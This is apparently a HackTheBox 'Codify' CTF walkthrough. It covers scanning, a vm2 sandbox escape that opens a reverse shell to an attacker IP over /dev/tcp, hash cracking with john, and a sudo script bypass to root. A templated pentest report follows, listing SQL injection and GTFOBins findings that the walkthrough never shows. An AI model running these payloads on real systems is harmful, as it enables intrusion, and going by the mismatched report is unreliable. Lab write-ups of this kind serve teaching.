walkthrough

HackTheBox: Codify — Medium (Linux)

Full security assessment walkthrough for Codify on HackTheBox. Includes reconnaissance, enumeration, exploitation steps, and a professional penetration testing report with CVSS v3.1 scores and remediation guidance.

lazyhackers
Mar 26, 2026 · 1 min read · 1 views
Codify
HackTheBox
Linux Medium

📌 Introduction

Codify

🔖 Techniques & Vulnerabilities

sqlircesudo

🔍 Reconnaissance / Port Scanning

nmap scan
┌──(user㉿kali)-[~]
└─$ sudo nmap -A -T4 -sC -sV 10.129.69.114
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-04 19:07 UTC
Nmap scan report for 10.129.69.114
Host is up (0.064s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=11/4%OT=22%CT=1%CU=44302%PV=Y%DS=2%DC=T%G=Y%TM=6546967
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=F9%GCD=1%ISR=10F%TI=Z%CI=Z%TS=A)SEQ(SP=F9
OS:%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53AST11NW7%O2=M53AST11NW7%O3=
OS:M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST11NW7%O6=M53AST11)WIN(W1=FE88%W2=FE
OS:88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53ANNSNW7
OS:%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   65.08 ms 10.10.16.1
2   65.19 ms 10.129.69.114

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.53 seconds

🎯 Attack Surface Analysis

PortServiceVersion / Banner
22/tcpsshOpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcphttpApache httpd 2.4.52
3000/tcphttpNode.js Express framework
22/tcpSSH
  • Credential brute-force and password spraying
  • Username enumeration via timing side-channel in older OpenSSH versions
  • Weak or reused private key material granting unauthorised access
  • Version-specific CVE research based on banner fingerprint
  • Lateral movement using credentials discovered from other services
80/tcpHTTP
  • Content and directory discovery — hidden files, backup archives, development endpoints
  • CMS/framework fingerprinting enables targeted CVE research (WordPress, Joomla, Drupal)
  • SQL injection — database extraction, authentication bypass, or OS command execution
  • Command injection — OS execution via unsanitised parameter handling
  • Server-Side Template Injection (SSTI) — code execution through template engine abuse
  • Local File Inclusion (LFI) and path traversal — sensitive file disclosure
  • Server-Side Request Forgery (SSRF) — pivot to internal services and cloud metadata
  • File upload abuse — filter bypass for webshell placement
  • XML External Entity injection (XXE) in XML-consuming endpoints
  • Authentication and session weaknesses — weak passwords, predictable tokens
3000/tcpHTTP/Grafana
  • Default credential testing for Grafana and similar dashboards
  • Grafana directory traversal and plugin CVE research in older versions
  • API token enumeration and unauthorised data source access

📖 Walkthrough

Reconnaissance

Nmap

┌──(user㉿kali)-[~]
└─$ sudo nmap -A -T4 -sC -sV 10.129.69.114
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-04 19:07 UTC
Nmap scan report for 10.129.69.114
Host is up (0.064s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=11/4%OT=22%CT=1%CU=44302%PV=Y%DS=2%DC=T%G=Y%TM=6546967
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=F9%GCD=1%ISR=10F%TI=Z%CI=Z%TS=A)SEQ(SP=F9
OS:%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53AST11NW7%O2=M53AST11NW7%O3=
OS:M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST11NW7%O6=M53AST11)WIN(W1=FE88%W2=FE
OS:88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53ANNSNW7
OS:%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   65.08 ms 10.10.16.1
2   65.19 ms 10.129.69.114

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.53 seconds
┌──(user㉿kali)-[~]
└─$ sudo nmap -A -T4 -sC -sV -p- 10.129.69.114
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-04 19:07 UTC
Nmap scan report for codify.htb (10.129.69.114)
Host is up (0.069s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Codify
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=11/4%OT=22%CT=1%CU=31390%PV=Y%DS=2%DC=T%G=Y%TM=654696C
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=106%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10D%TI=Z%
OS:CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53AS
OS:T11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST11NW7%O6=M
OS:53AST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y
OS:%T=40%W=FAF0%O=M53ANNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=
OS:)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T
OS:=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RU
OS:D=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   44.44 ms 10.10.16.1
2   44.49 ms codify.htb (10.129.69.114)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.51 seconds
┌──(user㉿kali)-[~]
└─$ sudo nmap -sV -sU 10.129.69.114
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-04 19:13 UTC
Nmap scan report for codify.htb (10.129.69.114)
Host is up (0.045s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT   STATE         SERVICE VERSION
68/udp open|filtered dhcpc

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1136.17 seconds

Enumeration of Port 80/TCP

http://10.129.69.114/

┌──(user㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.129.69.114   codify.htb

http://codify.htb/

┌──(user㉿kali)-[~]
└─$ whatweb http://codify.htb/
http://codify.htb [200 OK] Apache[2.4.52], Bootstrap[4.3.1], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.129.69.114], Title[Codify], X-Powered-By[Express]

http://codify.htb/editor

Foothold via vm2 Library

https://security.snyk.io/package/npm/vm2

https://gist.github.com/seongil-wi/2a44e082001b959bfe304b62121fb76d

https://security.snyk.io/vuln/SNYK-JS-VM2-5537100

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("bash -c 'bash -i >& /dev/tcp/10.10.16.14/9001 0>&1' &").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked

http://codify.htb/editor

┌──(user㉿kali)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.16.14] from (UNKNOWN) [10.129.69.114] 33734
bash: cannot set terminal process group (1237): Inappropriate ioctl for device
bash: no job control in this shell
svc@codify:~$

Enumeration

svc@codify:/tmp$ id
id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
svc@codify:~$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
fwupd-refresh:x:114:122:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
Found /var/www/contact/tickets.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 17, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 17
svc@codify:/var/www/contact$ cat tickets.db
cat tickets.db
�T5��T�format 3@  .WJ
       otableticketsticketsCREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)��     tableusersusersCREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT, 
        username TEXT UNIQUE, 
        password TEXT
��G�joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
��
����ua  users
             ickets
r]r�h%%�Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open� ;�wTom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open
Hash
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

Cracking the Hash

┌──(user㉿kali)-[/media/…/htb/machines/codify/files]
└─$ cat hash
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
┌──(user㉿kali)-[/media/…/htb/machines/codify/files]
└─$ sudo john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (?)     
1g 0:00:00:44 DONE (2023-11-04 19:31) 0.02231g/s 30.52p/s 30.52c/s 30.52C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
UsernamePassword
joshuaspongebob1
┌──(user㉿kali)-[~]
└─$ ssh [email protected]
The authenticity of host 'codify.htb (10.129.69.114)' can't be established.
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'codify.htb' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Nov  4 07:21:37 PM UTC 2023

  System load:                      0.6748046875
  Usage of /:                       69.5% of 6.50GB
  Memory usage:                     27%
  Swap usage:                       0%
  Processes:                        238
  Users logged in:                  0
  IPv4 address for br-030a38808dbf: 172.18.0.1
  IPv4 address for br-5ab86a4e40d0: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.129.69.114
  IPv6 address for eth0:            dead:beef::250:56ff:fe96:d6b5


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


joshua@codify:~$

user.txt

joshua@codify:~$ cat user.txt
4731bd937156105eafdcc2135a25db0d

Pivoting

joshua@codify:~$ id
uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)
joshua@codify:~$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh 
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

Privilege Escalation to root

Bypass via wildcard * was possible because the script tried to match RegEx in if [[ $DBPASS == $USERPASS ]]; then and the variable $USER_PASS was not set in "" which allowed inserting the wildcard.

joshua@codify:/opt/scripts$ sudo /opt/scripts/mysql-backup.sh 
Enter MySQL password for root: 
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!

mysqldump: [Warning] Using a password on the command line interface can be insecure.

joshua@codify:/dev/shm$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
joshua@codify:/opt/scripts$ sudo /opt/scripts/mysql-backup.sh 
Enter MySQL password for root: 
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!

I had to execute the command two times to get the password displayed in PSPY.

<--- SNIP --->
2023/11/04 20:58:07 CMD: UID=0     PID=43101  | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 foobar
<--- SNIP --->
UsernamePassword
rootkljh12k3jhaskjh12kjh3
joshua@codify:~$ su root
Password: 
root@codify:/home/joshua#

root.txt

root@codify:~# cat root.txt
4142151e1088a15a1b01e8d43c207567

📋 Security Assessment Report

2
Critical
1
High
0
Medium
3
Open Ports
F-001 — OS Command Injection — Remote Code Execution
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.

Impact

An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Never construct shell commands from user-supplied input under any circumstances. Replace shell invocations with language-native APIs that accept argument arrays (subprocess.run with list in Python, proc_open with array in PHP, execFile in Node.js). Apply strict allowlist validation to any parameter that influences system-level operations. Run the application under a dedicated low-privilege service account. Implement process monitoring to alert on anomalous child process spawning from web server processes.
F-002 — SQL Injection — Database Compromise
9.1
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

During the penetration test, it was discovered that the application incorporated user-supplied input directly into database queries without parameterisation. SQL injection was identified in authentication and data retrieval endpoints, allowing an attacker to manipulate query structure, extract unauthorised data, and bypass access controls entirely.

Impact

An attacker can extract the complete database contents — including usernames, password hashes, session tokens, and sensitive user records — without valid credentials. Authentication mechanisms can be bypassed by injecting always-true conditions. In environments where the database account holds elevated permissions, OS-level command execution is achievable through built-in procedures (xp_cmdshell, UDF), escalating directly to full server compromise as was demonstrated in this engagement.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Replace all dynamic SQL query construction with parameterised queries or prepared statements at every database interaction point. Apply strict type validation on all inputs. Enforce least-privilege database accounts restricted to only required tables and operations. Deploy a Web Application Firewall to detect SQL injection patterns. Suppress all database error detail in production responses to prevent schema enumeration by attackers.
F-003 — Sudo Misconfiguration — Root Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.

Impact

An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all sudoers entries and apply strict least privilege — grant only the minimum required binary with explicit, restricted arguments where possible. Avoid granting sudo access to interpreters (python, perl, ruby), text editors, file management utilities, or any binary listed in GTFOBins. Remove NOPASSWD where feasible. Periodically review sudoers entries using visudo and remove any unnecessary grants. Consider purpose-built privilege delegation tools as an alternative to broad sudo grants.
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